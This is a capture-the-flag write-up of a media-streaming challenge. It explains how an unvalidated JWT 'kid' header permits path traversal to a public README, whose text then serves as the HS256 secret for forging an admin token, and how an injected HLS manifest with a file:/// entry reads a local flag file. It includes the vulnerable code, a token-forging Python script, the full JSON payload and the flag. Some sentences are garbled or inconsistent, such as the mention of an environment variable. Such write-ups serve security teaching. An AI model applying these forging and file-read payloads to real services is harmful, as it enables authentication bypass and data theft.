The solution and the writeup provided were written by the hunter: tio123
Description
This application allow users to stream media using JSON payload input crafted by a hacker. However, the application has vulnerable code in the verify_token() and load_key() function, allow attacker to manipulate to the kid parameter via path traversal in ../README, causing the system to access a directory outside the spesified folder and read the public file path /tmp/README.txt. This result from improper path validation or sanitization of user-supplied token data, where the README.txt file's text content is then processed by JWT as a key to craft an admin token.
Exploitation
We are presented an application that allow user to stream media using the json input. A through code analysis was performed during the initial reconnaissance phase which reveals the underlying tech-stack. The application uses python, streamlink, jinja2 templates and jwt library. Various utility function is implementating to parse the incoming tokens and manage application stream.
Code Analysis
The root problem comes from a flaw in the application verification workflow. The token verification path executes an unsafe routine with the verify_token function, where that routine processes untrusted parameter from the unverified token header before performing any cryptographic signature validation checks.
1def verify_token(token: str) -> dict:2 header = jwt.get_unverified_header(token)3 kid = header.get("kid")4 key = load_key(kid)5 return jwt.decode(token, key, algorithms=["HS256"])
By implicitly trusting the kid parameter which has not had a security check at this early stage, the application set a flawed trust boundary. The parsing process take this unauthenticated header data and passes it directly to the file loading mechanism in the backend as an unvalidated argument.
1def load_key(kid: str) -> bytes:2 with open(f"/tmp/keys/{kid}.txt", "rb") as f:3 return f.read()
The lack of path validation inside load_key() function allow path traversal to break out of the intented directory boundary. Injecting a payload such as ../README caused the local file system to resolve that location to /tmp/keys/../README.txt, which directly pointing to the static and predictable file /tmp/README.txt. Due to the implemented HS256 algorithm, an attacker can use the content of this leaked public file as the validation secret, allow any custom token sign with the same text to be successfully authenticated with admin privileges.
Once the administrative validation checks are bypassed, the application moves forward to process the core media payload:
1streams = streamlink.streams(f"hls://file:///{filename_path}")
The vulnerability occurs because the streamlink.streams() function processes the local filename_path file under the hls:// streaming protocol wrapper. Since the application writes unvalidated, user-supplied content directly into this manifest file before parsing, an attacker can inject malicious media track references. The internal engine parses the manifest and resolves the embedded file:/// URI scheme within the track segments. Consequently, instead of fetching a remote media stream, the backend architecture attempts to resolve and read targeted internal filesystem resources locally.
PoC
To generate the forged admin JWT token required for the payload, the following python script can be used:
1import jwt23KID = "../README"4SECRET_KEY = "streamcore is a new project developed to handle u3m8 files more easily."56payload = {7 "isadmin": True # 'admin token required'8}910headers = {11 "kid": KID12}1314token_admin = jwt.encode(payload, SECRET_KEY, algorithm="HS256", headers=headers)15print(token_admin)
The payload used is
1{"filename":"gasak","content":"#EXTM3U\n#EXT-X-TARGETDURATION:1\n#EXT-X-MEDIA-SEQUENCE:0\n#EXTINF:1.0,\nfile:///tmp/flag.txt\n#EXT-X-ENDLIST\n","token":"eyJhbGciOiJIUzI1NiIsImtpZCI6Ii4uL1JFQURNRSIsInR5cCI6IkpXVCJ9.eyJpc2FkbWluIjp0cnVlfQ.ma7hL-YrU031b3g9WouAbxkq408z5PYIBGXSnMZ5wQE"}
The flag as obtained from the UI is
1FLAG{R3ad1ng_F1l3s_As_A_S3rvic3!}
This executes the code that exposes the environment variable containing the flag and you've pawned it modal.
Risk
The flaw allows unauthenticated remote actors to bypass logical authentication controls, perform privilege escalation to full Administrator, and read highly sensitive local files, leading to access unauthorized resources.



